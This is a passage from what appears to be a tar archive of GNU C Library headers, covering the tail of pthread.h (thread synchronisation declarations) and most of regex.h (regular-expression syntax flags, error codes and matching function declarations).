pthread_mutexattr_setpshared (pthread_mutexattr_t *__attr, int __pshared) __THROW __nonnull ((1)); #if defined __USE_UNIX98 || defined __USE_XOPEN2K8 /* Return in *KIND the mutex kind attribute in *ATTR. */ extern int pthread_mutexattr_gettype (const pthread_mutexattr_t *__restrict __attr, int *__restrict __kind) __THROW __nonnull ((1, 2)); /* Set the mutex kind attribute in *ATTR to KIND (either PTHREAD_MUTEX_NORMAL, PTHREAD_MUTEX_RECURSIVE, PTHREAD_MUTEX_ERRORCHECK, or PTHREAD_MUTEX_DEFAULT). */ extern int pthread_mutexattr_settype (pthread_mutexattr_t *__attr, int __kind) __THROW __nonnull ((1)); #endif /* Return in *PROTOCOL the mutex protocol attribute in *ATTR. */ extern int pthread_mutexattr_getprotocol (const pthread_mutexattr_t * __restrict __attr, int *__restrict __protocol) __THROW __nonnull ((1, 2)); /* Set the mutex protocol attribute in *ATTR to PROTOCOL (either PTHREAD_PRIO_NONE, PTHREAD_PRIO_INHERIT, or PTHREAD_PRIO_PROTECT). */ extern int pthread_mutexattr_setprotocol (pthread_mutexattr_t *__attr, int __protocol) __THROW __nonnull ((1)); /* Return in *PRIOCEILING the mutex prioceiling attribute in *ATTR. */ extern int pthread_mutexattr_getprioceiling (const pthread_mutexattr_t * __restrict __attr, int *__restrict __prioceiling) __THROW __nonnull ((1, 2)); /* Set the mutex prioceiling attribute in *ATTR to PRIOCEILING. */ extern int pthread_mutexattr_setprioceiling (pthread_mutexattr_t *__attr, int __prioceiling) __THROW __nonnull ((1)); #ifdef __USE_XOPEN2K /* Get the robustness flag of the mutex attribute ATTR. */ extern int pthread_mutexattr_getrobust (const pthread_mutexattr_t *__attr, int *__robustness) __THROW __nonnull ((1, 2)); # ifdef __USE_GNU extern int pthread_mutexattr_getrobust_np (const pthread_mutexattr_t *__attr, int *__robustness) __THROW __nonnull ((1, 2)); # endif /* Set the robustness flag of the mutex attribute ATTR. */ extern int pthread_mutexattr_setrobust (pthread_mutexattr_t *__attr, int __robustness) __THROW __nonnull ((1)); # ifdef __USE_GNU extern int pthread_mutexattr_setrobust_np (pthread_mutexattr_t *__attr, int __robustness) __THROW __nonnull ((1)); # endif #endif #if defined __USE_UNIX98 || defined __USE_XOPEN2K /* Functions for handling read-write locks. */ /* Initialize read-write lock RWLOCK using attributes ATTR, or use the default values if later is NULL. */ extern int pthread_rwlock_init (pthread_rwlock_t *__restrict __rwlock, const pthread_rwlockattr_t *__restrict __attr) __THROW __nonnull ((1)); /* Destroy read-write lock RWLOCK. */ extern int pthread_rwlock_destroy (pthread_rwlock_t *__rwlock) __THROW __nonnull ((1)); /* Acquire read lock for RWLOCK. */ extern int pthread_rwlock_rdlock (pthread_rwlock_t *__rwlock) __THROWNL __nonnull ((1)); /* Try to acquire read lock for RWLOCK. */ extern int pthread_rwlock_tryrdlock (pthread_rwlock_t *__rwlock) __THROWNL __nonnull ((1)); # ifdef __USE_XOPEN2K /* Try to acquire read lock for RWLOCK or return after specfied time. */ extern int pthread_rwlock_timedrdlock (pthread_rwlock_t *__restrict __rwlock, const struct timespec *__restrict __abstime) __THROWNL __nonnull ((1, 2)); # endif /* Acquire write lock for RWLOCK. */ extern int pthread_rwlock_wrlock (pthread_rwlock_t *__rwlock) __THROWNL __nonnull ((1)); /* Try to acquire write lock for RWLOCK. */ extern int pthread_rwlock_trywrlock (pthread_rwlock_t *__rwlock) __THROWNL __nonnull ((1)); # ifdef __USE_XOPEN2K /* Try to acquire write lock for RWLOCK or return after specfied time. */ extern int pthread_rwlock_timedwrlock (pthread_rwlock_t *__restrict __rwlock, const struct timespec *__restrict __abstime) __THROWNL __nonnull ((1, 2)); # endif /* Unlock RWLOCK. */ extern int pthread_rwlock_unlock (pthread_rwlock_t *__rwlock) __THROWNL __nonnull ((1)); /* Functions for handling read-write lock attributes. */ /* Initialize attribute object ATTR with default values. */ extern int pthread_rwlockattr_init (pthread_rwlockattr_t *__attr) __THROW __nonnull ((1)); /* Destroy attribute object ATTR. */ extern int pthread_rwlockattr_destroy (pthread_rwlockattr_t *__attr) __THROW __nonnull ((1)); /* Return current setting of process-shared attribute of ATTR in PSHARED. */ extern int pthread_rwlockattr_getpshared (const pthread_rwlockattr_t * __restrict __attr, int *__restrict __pshared) __THROW __nonnull ((1, 2)); /* Set process-shared attribute of ATTR to PSHARED. */ extern int pthread_rwlockattr_setpshared (pthread_rwlockattr_t *__attr, int __pshared) __THROW __nonnull ((1)); /* Return current setting of reader/writer preference. */ extern int pthread_rwlockattr_getkind_np (const pthread_rwlockattr_t * __restrict __attr, int *__restrict __pref) __THROW __nonnull ((1, 2)); /* Set reader/write preference. */ extern int pthread_rwlockattr_setkind_np (pthread_rwlockattr_t *__attr, int __pref) __THROW __nonnull ((1)); #endif /* Functions for handling conditional variables. */ /* Initialize condition variable COND using attributes ATTR, or use the default values if later is NULL. */ extern int pthread_cond_init (pthread_cond_t *__restrict __cond, const pthread_condattr_t *__restrict __cond_attr) __THROW __nonnull ((1)); /* Destroy condition variable COND. */ extern int pthread_cond_destroy (pthread_cond_t *__cond) __THROW __nonnull ((1)); /* Wake up one thread waiting for condition variable COND. */ extern int pthread_cond_signal (pthread_cond_t *__cond) __THROWNL __nonnull ((1)); /* Wake up all threads waiting for condition variables COND. */ extern int pthread_cond_broadcast (pthread_cond_t *__cond) __THROWNL __nonnull ((1)); /* Wait for condition variable COND to be signaled or broadcast. MUTEX is assumed to be locked before. This function is a cancellation point and therefore not marked with __THROW. */ extern int pthread_cond_wait (pthread_cond_t *__restrict __cond, pthread_mutex_t *__restrict __mutex) __nonnull ((1, 2)); /* Wait for condition variable COND to be signaled or broadcast until ABSTIME. MUTEX is assumed to be locked before. ABSTIME is an absolute time specification; zero is the beginning of the epoch (00:00:00 GMT, January 1, 1970). This function is a cancellation point and therefore not marked with __THROW. */ extern int pthread_cond_timedwait (pthread_cond_t *__restrict __cond, pthread_mutex_t *__restrict __mutex, const struct timespec *__restrict __abstime) __nonnull ((1, 2, 3)); /* Functions for handling condition variable attributes. */ /* Initialize condition variable attribute ATTR. */ extern int pthread_condattr_init (pthread_condattr_t *__attr) __THROW __nonnull ((1)); /* Destroy condition variable attribute ATTR. */ extern int pthread_condattr_destroy (pthread_condattr_t *__attr) __THROW __nonnull ((1)); /* Get the process-shared flag of the condition variable attribute ATTR. */ extern int pthread_condattr_getpshared (const pthread_condattr_t * __restrict __attr, int *__restrict __pshared) __THROW __nonnull ((1, 2)); /* Set the process-shared flag of the condition variable attribute ATTR. */ extern int pthread_condattr_setpshared (pthread_condattr_t *__attr, int __pshared) __THROW __nonnull ((1)); #ifdef __USE_XOPEN2K /* Get the clock selected for the condition variable attribute ATTR. */ extern int pthread_condattr_getclock (const pthread_condattr_t * __restrict __attr, __clockid_t *__restrict __clock_id) __THROW __nonnull ((1, 2)); /* Set the clock selected for the condition variable attribute ATTR. */ extern int pthread_condattr_setclock (pthread_condattr_t *__attr, __clockid_t __clock_id) __THROW __nonnull ((1)); #endif #ifdef __USE_XOPEN2K /* Functions to handle spinlocks. */ /* Initialize the spinlock LOCK. If PSHARED is nonzero the spinlock can be shared between different processes. */ extern int pthread_spin_init (pthread_spinlock_t *__lock, int __pshared) __THROW __nonnull ((1)); /* Destroy the spinlock LOCK. */ extern int pthread_spin_destroy (pthread_spinlock_t *__lock) __THROW __nonnull ((1)); /* Wait until spinlock LOCK is retrieved. */ extern int pthread_spin_lock (pthread_spinlock_t *__lock) __THROWNL __nonnull ((1)); /* Try to lock spinlock LOCK. */ extern int pthread_spin_trylock (pthread_spinlock_t *__lock) __THROWNL __nonnull ((1)); /* Release spinlock LOCK. */ extern int pthread_spin_unlock (pthread_spinlock_t *__lock) __THROWNL __nonnull ((1)); /* Functions to handle barriers. */ /* Initialize BARRIER with the attributes in ATTR. The barrier is opened when COUNT waiters arrived. */ extern int pthread_barrier_init (pthread_barrier_t *__restrict __barrier, const pthread_barrierattr_t *__restrict __attr, unsigned int __count) __THROW __nonnull ((1)); /* Destroy a previously dynamically initialized barrier BARRIER. */ extern int pthread_barrier_destroy (pthread_barrier_t *__barrier) __THROW __nonnull ((1)); /* Wait on barrier BARRIER. */ extern int pthread_barrier_wait (pthread_barrier_t *__barrier) __THROWNL __nonnull ((1)); /* Initialize barrier attribute ATTR. */ extern int pthread_barrierattr_init (pthread_barrierattr_t *__attr) __THROW __nonnull ((1)); /* Destroy previously dynamically initialized barrier attribute ATTR. */ extern int pthread_barrierattr_destroy (pthread_barrierattr_t *__attr) __THROW __nonnull ((1)); /* Get the process-shared flag of the barrier attribute ATTR. */ extern int pthread_barrierattr_getpshared (const pthread_barrierattr_t * __restrict __attr, int *__restrict __pshared) __THROW __nonnull ((1, 2)); /* Set the process-shared flag of the barrier attribute ATTR. */ extern int pthread_barrierattr_setpshared (pthread_barrierattr_t *__attr, int __pshared) __THROW __nonnull ((1)); #endif /* Functions for handling thread-specific data. */ /* Create a key value identifying a location in the thread-specific data area. Each thread maintains a distinct thread-specific data area. DESTR_FUNCTION, if non-NULL, is called with the value associated to that key when the key is destroyed. DESTR_FUNCTION is not called if the value associated is NULL when the key is destroyed. */ extern int pthread_key_create (pthread_key_t *__key, void (*__destr_function) (void *)) __THROW __nonnull ((1)); /* Destroy KEY. */ extern int pthread_key_delete (pthread_key_t __key) __THROW; /* Return current value of the thread-specific data slot identified by KEY. */ extern void *pthread_getspecific (pthread_key_t __key) __THROW; /* Store POINTER in the thread-specific data slot identified by KEY. */ extern int pthread_setspecific (pthread_key_t __key, const void *__pointer) __THROW ; #ifdef __USE_XOPEN2K /* Get ID of CPU-time clock for thread THREAD_ID. */ extern int pthread_getcpuclockid (pthread_t __thread_id, __clockid_t *__clock_id) __THROW __nonnull ((2)); #endif /* Install handlers to be called when a new process is created with FORK. The PREPARE handler is called in the parent process just before performing FORK. The PARENT handler is called in the parent process just after FORK. The CHILD handler is called in the child process. Each of the three handlers can be NULL, meaning that no handler needs to be called at that point. PTHREAD_ATFORK can be called several times, in which case the PREPARE handlers are called in LIFO order (last added with PTHREAD_ATFORK, first called before FORK), and the PARENT and CHILD handlers are called in FIFO (first added, first called). */ extern int pthread_atfork (void (*__prepare) (void), void (*__parent) (void), void (*__child) (void)) __THROW; #ifdef __USE_EXTERN_INLINES /* Optimizations. */ __extern_inline int __NTH (pthread_equal (pthread_t __thread1, pthread_t __thread2)) { return __thread1 == __thread2; } #endif __END_DECLS #endif /* pthread.h */ regex.h 0000644 00000060213 15246445046 0006043 0 ustar 00 /* Definitions for data structures and routines for the regular expression library. Copyright (C) 1985, 1989-2018 Free Software Foundation, Inc. This file is part of the GNU C Library. The GNU C Library is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 2.1 of the License, or (at your option) any later version. The GNU C Library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with the GNU C Library; if not, see <https://www.gnu.org/licenses/>. */ #ifndef _REGEX_H #define _REGEX_H 1 #include <sys/types.h> /* Allow the use in C++ code. */ #ifdef __cplusplus extern "C" { #endif /* Define __USE_GNU to declare GNU extensions that violate the POSIX name space rules. */ #ifdef _GNU_SOURCE # define __USE_GNU 1 #endif #ifdef _REGEX_LARGE_OFFSETS /* Use types and values that are wide enough to represent signed and unsigned byte offsets in memory. This currently works only when the regex code is used outside of the GNU C library; it is not yet supported within glibc itself, and glibc users should not define _REGEX_LARGE_OFFSETS. */ /* The type of object sizes. */ typedef size_t __re_size_t; /* The type of object sizes, in places where the traditional code uses unsigned long int. */ typedef size_t __re_long_size_t; #else /* The traditional GNU regex implementation mishandles strings longer than INT_MAX. */ typedef unsigned int __re_size_t; typedef unsigned long int __re_long_size_t; #endif /* The following two types have to be signed and unsigned integer type wide enough to hold a value of a pointer. For most ANSI compilers ptrdiff_t and size_t should be likely OK. Still size of these two types is 2 for Microsoft C. Ugh... */ typedef long int s_reg_t; typedef unsigned long int active_reg_t; /* The following bits are used to determine the regexp syntax we recognize. The set/not-set meanings are chosen so that Emacs syntax remains the value 0. The bits are given in alphabetical order, and the definitions shifted by one from the previous bit; thus, when we add or remove a bit, only one other definition need change. */ typedef unsigned long int reg_syntax_t; #ifdef __USE_GNU /* If this bit is not set, then \ inside a bracket expression is literal. If set, then such a \ quotes the following character. */ # define RE_BACKSLASH_ESCAPE_IN_LISTS ((unsigned long int) 1) /* If this bit is not set, then + and ? are operators, and \+ and \? are literals. If set, then \+ and \? are operators and + and ? are literals. */ # define RE_BK_PLUS_QM (RE_BACKSLASH_ESCAPE_IN_LISTS << 1) /* If this bit is set, then character classes are supported. They are: [:alpha:], [:upper:], [:lower:], [:digit:], [:alnum:], [:xdigit:], [:space:], [:print:], [:punct:], [:graph:], and [:cntrl:]. If not set, then character classes are not supported. */ # define RE_CHAR_CLASSES (RE_BK_PLUS_QM << 1) /* If this bit is set, then ^ and $ are always anchors (outside bracket expressions, of course). If this bit is not set, then it depends: ^ is an anchor if it is at the beginning of a regular expression or after an open-group or an alternation operator; $ is an anchor if it is at the end of a regular expression, or before a close-group or an alternation operator. This bit could be (re)combined with RE_CONTEXT_INDEP_OPS, because POSIX draft 11.2 says that * etc. in leading positions is undefined. We already implemented a previous draft which made those constructs invalid, though, so we haven't changed the code back. */ # define RE_CONTEXT_INDEP_ANCHORS (RE_CHAR_CLASSES << 1) /* If this bit is set, then special characters are always special regardless of where they are in the pattern. If this bit is not set, then special characters are special only in some contexts; otherwise they are ordinary. Specifically, * + ? and intervals are only special when not after the beginning, open-group, or alternation operator. */ # define RE_CONTEXT_INDEP_OPS (RE_CONTEXT_INDEP_ANCHORS << 1) /* If this bit is set, then *, +, ?, and { cannot be first in an re or immediately after an alternation or begin-group operator. */ # define RE_CONTEXT_INVALID_OPS (RE_CONTEXT_INDEP_OPS << 1) /* If this bit is set, then . matches newline. If not set, then it doesn't. */ # define RE_DOT_NEWLINE (RE_CONTEXT_INVALID_OPS << 1) /* If this bit is set, then . doesn't match NUL. If not set, then it does. */ # define RE_DOT_NOT_NULL (RE_DOT_NEWLINE << 1) /* If this bit is set, nonmatching lists [^...] do not match newline. If not set, they do. */ # define RE_HAT_LISTS_NOT_NEWLINE (RE_DOT_NOT_NULL << 1) /* If this bit is set, either \{...\} or {...} defines an interval, depending on RE_NO_BK_BRACES. If not set, \{, \}, {, and } are literals. */ # define RE_INTERVALS (RE_HAT_LISTS_NOT_NEWLINE << 1) /* If this bit is set, +, ? and | aren't recognized as operators. If not set, they are. */ # define RE_LIMITED_OPS (RE_INTERVALS << 1) /* If this bit is set, newline is an alternation operator. If not set, newline is literal. */ # define RE_NEWLINE_ALT (RE_LIMITED_OPS << 1) /* If this bit is set, then '{...}' defines an interval, and \{ and \} are literals. If not set, then '\{...\}' defines an interval. */ # define RE_NO_BK_BRACES (RE_NEWLINE_ALT << 1) /* If this bit is set, (...) defines a group, and \( and \) are literals. If not set, \(...\) defines a group, and ( and ) are literals. */ # define RE_NO_BK_PARENS (RE_NO_BK_BRACES << 1) /* If this bit is set, then \<digit> matches <digit>. If not set, then \<digit> is a back-reference. */ # define RE_NO_BK_REFS (RE_NO_BK_PARENS << 1) /* If this bit is set, then | is an alternation operator, and \| is literal. If not set, then \| is an alternation operator, and | is literal. */ # define RE_NO_BK_VBAR (RE_NO_BK_REFS << 1) /* If this bit is set, then an ending range point collating higher than the starting range point, as in [z-a], is invalid. If not set, then when ending range point collates higher than the starting range point, the range is ignored. */ # define RE_NO_EMPTY_RANGES (RE_NO_BK_VBAR << 1) /* If this bit is set, then an unmatched ) is ordinary. If not set, then an unmatched ) is invalid. */ # define RE_UNMATCHED_RIGHT_PAREN_ORD (RE_NO_EMPTY_RANGES << 1) /* If this bit is set, succeed as soon as we match the whole pattern, without further backtracking. */ # define RE_NO_POSIX_BACKTRACKING (RE_UNMATCHED_RIGHT_PAREN_ORD << 1) /* If this bit is set, do not process the GNU regex operators. If not set, then the GNU regex operators are recognized. */ # define RE_NO_GNU_OPS (RE_NO_POSIX_BACKTRACKING << 1) /* If this bit is set, turn on internal regex debugging. If not set, and debugging was on, turn it off. This only works if regex.c is compiled -DDEBUG. We define this bit always, so that all that's needed to turn on debugging is to recompile regex.c; the calling code can always have this bit set, and it won't affect anything in the normal case. */ # define RE_DEBUG (RE_NO_GNU_OPS << 1) /* If this bit is set, a syntactically invalid interval is treated as a string of ordinary characters. For example, the ERE 'a{1' is treated as 'a\{1'. */ # define RE_INVALID_INTERVAL_ORD (RE_DEBUG << 1) /* If this bit is set, then ignore case when matching. If not set, then case is significant. */ # define RE_ICASE (RE_INVALID_INTERVAL_ORD << 1) /* This bit is used internally like RE_CONTEXT_INDEP_ANCHORS but only for ^, because it is difficult to scan the regex backwards to find whether ^ should be special. */ # define RE_CARET_ANCHORS_HERE (RE_ICASE << 1) /* If this bit is set, then \{ cannot be first in a regex or immediately after an alternation, open-group or \} operator. */ # define RE_CONTEXT_INVALID_DUP (RE_CARET_ANCHORS_HERE << 1) /* If this bit is set, then no_sub will be set to 1 during re_compile_pattern. */ # define RE_NO_SUB (RE_CONTEXT_INVALID_DUP << 1) #endif /* This global variable defines the particular regexp syntax to use (for some interfaces). When a regexp is compiled, the syntax used is stored in the pattern buffer, so changing this does not affect already-compiled regexps. */ extern reg_syntax_t re_syntax_options; #ifdef __USE_GNU /* Define combinations of the above bits for the standard possibilities. (The [[[ comments delimit what gets put into the Texinfo file, so don't delete them!) */ /* [[[begin syntaxes]]] */ # define RE_SYNTAX_EMACS 0 # define RE_SYNTAX_AWK \ (RE_BACKSLASH_ESCAPE_IN_LISTS | RE_DOT_NOT_NULL \ | RE_NO_BK_PARENS | RE_NO_BK_REFS \ | RE_NO_BK_VBAR | RE_NO_EMPTY_RANGES \ | RE_DOT_NEWLINE | RE_CONTEXT_INDEP_ANCHORS \ | RE_CHAR_CLASSES \ | RE_UNMATCHED_RIGHT_PAREN_ORD | RE_NO_GNU_OPS) # define RE_SYNTAX_GNU_AWK \ ((RE_SYNTAX_POSIX_EXTENDED | RE_BACKSLASH_ESCAPE_IN_LISTS \ | RE_INVALID_INTERVAL_ORD) \ & ~(RE_DOT_NOT_NULL | RE_CONTEXT_INDEP_OPS \ | RE_CONTEXT_INVALID_OPS )) # define RE_SYNTAX_POSIX_AWK \ (RE_SYNTAX_POSIX_EXTENDED | RE_BACKSLASH_ESCAPE_IN_LISTS \ | RE_INTERVALS | RE_NO_GNU_OPS \ | RE_INVALID_INTERVAL_ORD) # define RE_SYNTAX_GREP \ ((RE_SYNTAX_POSIX_BASIC | RE_NEWLINE_ALT) \ & ~(RE_CONTEXT_INVALID_DUP | RE_DOT_NOT_NULL)) # define RE_SYNTAX_EGREP \ ((RE_SYNTAX_POSIX_EXTENDED | RE_INVALID_INTERVAL_ORD | RE_NEWLINE_ALT) \ & ~(RE_CONTEXT_INVALID_OPS | RE_DOT_NOT_NULL)) /* POSIX grep -E behavior is no longer incompatible with GNU. */ # define RE_SYNTAX_POSIX_EGREP \ RE_SYNTAX_EGREP /* P1003.2/D11.2, section 4.20.7.1, lines 5078ff. */ # define RE_SYNTAX_ED RE_SYNTAX_POSIX_BASIC # define RE_SYNTAX_SED RE_SYNTAX_POSIX_BASIC /* Syntax bits common to both basic and extended POSIX regex syntax. */ # define _RE_SYNTAX_POSIX_COMMON \ (RE_CHAR_CLASSES | RE_DOT_NEWLINE | RE_DOT_NOT_NULL \ | RE_INTERVALS | RE_NO_EMPTY_RANGES) # define RE_SYNTAX_POSIX_BASIC \ (_RE_SYNTAX_POSIX_COMMON | RE_BK_PLUS_QM | RE_CONTEXT_INVALID_DUP) /* Differs from ..._POSIX_BASIC only in that RE_BK_PLUS_QM becomes RE_LIMITED_OPS, i.e., \? \+ \| are not recognized. Actually, this isn't minimal, since other operators, such as \`, aren't disabled. */ # define RE_SYNTAX_POSIX_MINIMAL_BASIC \ (_RE_SYNTAX_POSIX_COMMON | RE_LIMITED_OPS) # define RE_SYNTAX_POSIX_EXTENDED \ (_RE_SYNTAX_POSIX_COMMON | RE_CONTEXT_INDEP_ANCHORS \ | RE_CONTEXT_INDEP_OPS | RE_NO_BK_BRACES \ | RE_NO_BK_PARENS | RE_NO_BK_VBAR \ | RE_CONTEXT_INVALID_OPS | RE_UNMATCHED_RIGHT_PAREN_ORD) /* Differs from ..._POSIX_EXTENDED in that RE_CONTEXT_INDEP_OPS is removed and RE_NO_BK_REFS is added. */ # define RE_SYNTAX_POSIX_MINIMAL_EXTENDED \ (_RE_SYNTAX_POSIX_COMMON | RE_CONTEXT_INDEP_ANCHORS \ | RE_CONTEXT_INVALID_OPS | RE_NO_BK_BRACES \ | RE_NO_BK_PARENS | RE_NO_BK_REFS \ | RE_NO_BK_VBAR | RE_UNMATCHED_RIGHT_PAREN_ORD) /* [[[end syntaxes]]] */ /* Maximum number of duplicates an interval can allow. POSIX-conforming systems might define this in <limits.h>, but we want our value, so remove any previous define. */ # ifdef _REGEX_INCLUDE_LIMITS_H # include <limits.h> # endif # ifdef RE_DUP_MAX # undef RE_DUP_MAX # endif /* RE_DUP_MAX is 2**15 - 1 because an earlier implementation stored the counter as a 2-byte signed integer. This is no longer true, so RE_DUP_MAX could be increased to (INT_MAX / 10 - 1), or to ((SIZE_MAX - 9) / 10) if _REGEX_LARGE_OFFSETS is defined. However, there would be a huge performance problem if someone actually used a pattern like a\{214748363\}, so RE_DUP_MAX retains its historical value. */ # define RE_DUP_MAX (0x7fff) #endif /* POSIX 'cflags' bits (i.e., information for 'regcomp'). */ /* If this bit is set, then use extended regular expression syntax. If not set, then use basic regular expression syntax. */ #define REG_EXTENDED 1 /* If this bit is set, then ignore case when matching. If not set, then case is significant. */ #define REG_ICASE (1 << 1) /* If this bit is set, then anchors do not match at newline characters in the string. If not set, then anchors do match at newlines. */ #define REG_NEWLINE (1 << 2) /* If this bit is set, then report only success or fail in regexec. If not set, then returns differ between not matching and errors. */ #define REG_NOSUB (1 << 3) /* POSIX 'eflags' bits (i.e., information for regexec). */ /* If this bit is set, then the beginning-of-line operator doesn't match the beginning of the string (presumably because it's not the beginning of a line). If not set, then the beginning-of-line operator does match the beginning of the string. */ #define REG_NOTBOL 1 /* Like REG_NOTBOL, except for the end-of-line. */ #define REG_NOTEOL (1 << 1) /* Use PMATCH[0] to delimit the start and end of the search in the buffer. */ #define REG_STARTEND (1 << 2) /* If any error codes are removed, changed, or added, update the '__re_error_msgid' table in regcomp.c. */ typedef enum { _REG_ENOSYS = -1, /* This will never happen for this implementation. */ _REG_NOERROR = 0, /* Success. */ _REG_NOMATCH, /* Didn't find a match (for regexec). */ /* POSIX regcomp return error codes. (In the order listed in the standard.) */ _REG_BADPAT, /* Invalid pattern. */ _REG_ECOLLATE, /* Invalid collating element. */ _REG_ECTYPE, /* Invalid character class name. */ _REG_EESCAPE, /* Trailing backslash. */ _REG_ESUBREG, /* Invalid back reference. */ _REG_EBRACK, /* Unmatched left bracket. */ _REG_EPAREN, /* Parenthesis imbalance. */ _REG_EBRACE, /* Unmatched \{. */ _REG_BADBR, /* Invalid contents of \{\}. */ _REG_ERANGE, /* Invalid range end. */ _REG_ESPACE, /* Ran out of memory. */ _REG_BADRPT, /* No preceding re for repetition op. */ /* Error codes we've added. */ _REG_EEND, /* Premature end. */ _REG_ESIZE, /* Too large (e.g., repeat count too large). */ _REG_ERPAREN /* Unmatched ) or \); not returned from regcomp. */ } reg_errcode_t; #if defined _XOPEN_SOURCE || defined __USE_XOPEN2K # define REG_ENOSYS _REG_ENOSYS #endif #define REG_NOERROR _REG_NOERROR #define REG_NOMATCH _REG_NOMATCH #define REG_BADPAT _REG_BADPAT #define REG_ECOLLATE _REG_ECOLLATE #define REG_ECTYPE _REG_ECTYPE #define REG_EESCAPE _REG_EESCAPE #define REG_ESUBREG _REG_ESUBREG #define REG_EBRACK _REG_EBRACK #define REG_EPAREN _REG_EPAREN #define REG_EBRACE _REG_EBRACE #define REG_BADBR _REG_BADBR #define REG_ERANGE _REG_ERANGE #define REG_ESPACE _REG_ESPACE #define REG_BADRPT _REG_BADRPT #define REG_EEND _REG_EEND #define REG_ESIZE _REG_ESIZE #define REG_ERPAREN _REG_ERPAREN /* This data structure represents a compiled pattern. Before calling the pattern compiler, the fields 'buffer', 'allocated', 'fastmap', and 'translate' can be set. After the pattern has been compiled, the fields 're_nsub', 'not_bol' and 'not_eol' are available. All other fields are private to the regex routines. */ #ifndef RE_TRANSLATE_TYPE # define __RE_TRANSLATE_TYPE unsigned char * # ifdef __USE_GNU # define RE_TRANSLATE_TYPE __RE_TRANSLATE_TYPE # endif #endif #ifdef __USE_GNU # define __REPB_PREFIX(name) name #else # define __REPB_PREFIX(name) __##name #endif struct re_pattern_buffer { /* Space that holds the compiled pattern. The type 'struct re_dfa_t' is private and is not declared here. */ struct re_dfa_t *__REPB_PREFIX(buffer); /* Number of bytes to which 'buffer' points. */ __re_long_size_t __REPB_PREFIX(allocated); /* Number of bytes actually used in 'buffer'. */ __re_long_size_t __REPB_PREFIX(used); /* Syntax setting with which the pattern was compiled. */ reg_syntax_t __REPB_PREFIX(syntax); /* Pointer to a fastmap, if any, otherwise zero. re_search uses the fastmap, if there is one, to skip over impossible starting points for matches. */ char *__REPB_PREFIX(fastmap); /* Either a translate table to apply to all characters before comparing them, or zero for no translation. The translation is applied to a pattern when it is compiled and to a string when it is matched. */ __RE_TRANSLATE_TYPE __REPB_PREFIX(translate); /* Number of subexpressions found by the compiler. */ size_t re_nsub; /* Zero if this pattern cannot match the empty string, one else. Well, in truth it's used only in 're_search_2', to see whether or not we should use the fastmap, so we don't set this absolutely perfectly; see 're_compile_fastmap' (the "duplicate" case). */ unsigned __REPB_PREFIX(can_be_null) : 1; /* If REGS_UNALLOCATED, allocate space in the 'regs' structure for 'max (RE_NREGS, re_nsub + 1)' groups. If REGS_REALLOCATE, reallocate space if necessary. If REGS_FIXED, use what's there. */ #ifdef __USE_GNU # define REGS_UNALLOCATED 0 # define REGS_REALLOCATE 1 # define REGS_FIXED 2 #endif unsigned __REPB_PREFIX(regs_allocated) : 2; /* Set to zero when 're_compile_pattern' compiles a pattern; set to one by 're_compile_fastmap' if it updates the fastmap. */ unsigned __REPB_PREFIX(fastmap_accurate) : 1; /* If set, 're_match_2' does not return information about subexpressions. */ unsigned __REPB_PREFIX(no_sub) : 1; /* If set, a beginning-of-line anchor doesn't match at the beginning of the string. */ unsigned __REPB_PREFIX(not_bol) : 1; /* Similarly for an end-of-line anchor. */ unsigned __REPB_PREFIX(not_eol) : 1; /* If true, an anchor at a newline matches. */ unsigned __REPB_PREFIX(newline_anchor) : 1; }; typedef struct re_pattern_buffer regex_t; /* Type for byte offsets within the string. POSIX mandates this. */ #ifdef _REGEX_LARGE_OFFSETS /* POSIX 1003.1-2008 requires that regoff_t be at least as wide as ptrdiff_t and ssize_t. We don't know of any hosts where ptrdiff_t is wider than ssize_t, so ssize_t is safe. ptrdiff_t is not visible here, so use ssize_t. */ typedef ssize_t regoff_t; #else /* The traditional GNU regex implementation mishandles strings longer than INT_MAX. */ typedef int regoff_t; #endif #ifdef __USE_GNU /* This is the structure we store register match data in. See regex.texinfo for a full description of what registers match. */ struct re_registers { __re_size_t num_regs; regoff_t *start; regoff_t *end; }; /* If 'regs_allocated' is REGS_UNALLOCATED in the pattern buffer, 're_match_2' returns information about at least this many registers the first time a 'regs' structure is passed. */ # ifndef RE_NREGS # define RE_NREGS 30 # endif #endif /* POSIX specification for registers. Aside from the different names than 're_registers', POSIX uses an array of structures, instead of a structure of arrays. */ typedef struct { regoff_t rm_so; /* Byte offset from string's start to substring's start. */ regoff_t rm_eo; /* Byte offset from string's start to substring's end. */ } regmatch_t; /* Declarations for routines. */ #ifdef __USE_GNU /* Sets the current default syntax to SYNTAX, and return the old syntax. You can also simply assign to the 're_syntax_options' variable. */ extern reg_syntax_t re_set_syntax (reg_syntax_t __syntax); /* Compile the regular expression PATTERN, with length LENGTH and syntax given by the global 're_syntax_options', into the buffer BUFFER. Return NULL if successful, and an error string if not. To free the allocated storage, you must call 'regfree' on BUFFER. Note that the translate table must either have been initialized by 'regcomp', with a malloc'ed value, or set to NULL before calling 'regfree'. */ extern const char *re_compile_pattern (const char *__pattern, size_t __length, struct re_pattern_buffer *__buffer); /* Compile a fastmap for the compiled pattern in BUFFER; used to accelerate searches. Return 0 if successful and -2 if was an internal error. */ extern int re_compile_fastmap (struct re_pattern_buffer *__buffer); /* Search in the string STRING (with length LENGTH) for the pattern compiled into BUFFER. Start searching at position START, for RANGE characters. Return the starting position of the match, -1 for no match, or -2 for an internal error. Also return register information in REGS (if REGS and BUFFER->no_sub are nonzero). */ extern regoff_t re_search (struct re_pattern_buffer *__buffer, const char *__String, regoff_t __length, regoff_t __start, regoff_t __range, struct re_registers *__regs); /* Like 're_search', but search in the concatenation of STRING1 and STRING2. Also, stop searching at index START + STOP. */ extern regoff_t re_search_2 (struct re_pattern_buffer *__buffer, const char *__string1, regoff_t __length1, const char *__string2, regoff_t __length2, regoff_t __start, regoff_t __range, struct re_registers *__regs, regoff_t __stop); /* Like 're_search', but return how many characters in STRING the regexp in BUFFER matched, starting at position START. */ extern regoff_t re_match (struct re_pattern_buffer *__buffer, const char *__String, regoff_t __length, regoff_t __start, struct re_registers *__regs); /* Relates to 're_match' as 're_search_2' relates to 're_search'. */ extern regoff_t re_match_2 (struct re_pattern_buffer *__buffer, const char *__string1, regoff_t __length1, const char *__string2, regoff_t __length2, regoff_t __start, struct re_registers *__regs, regoff_t __stop); /* Set REGS to hold NUM_REGS registers, storing them in STARTS and ENDS. Subsequent matches using 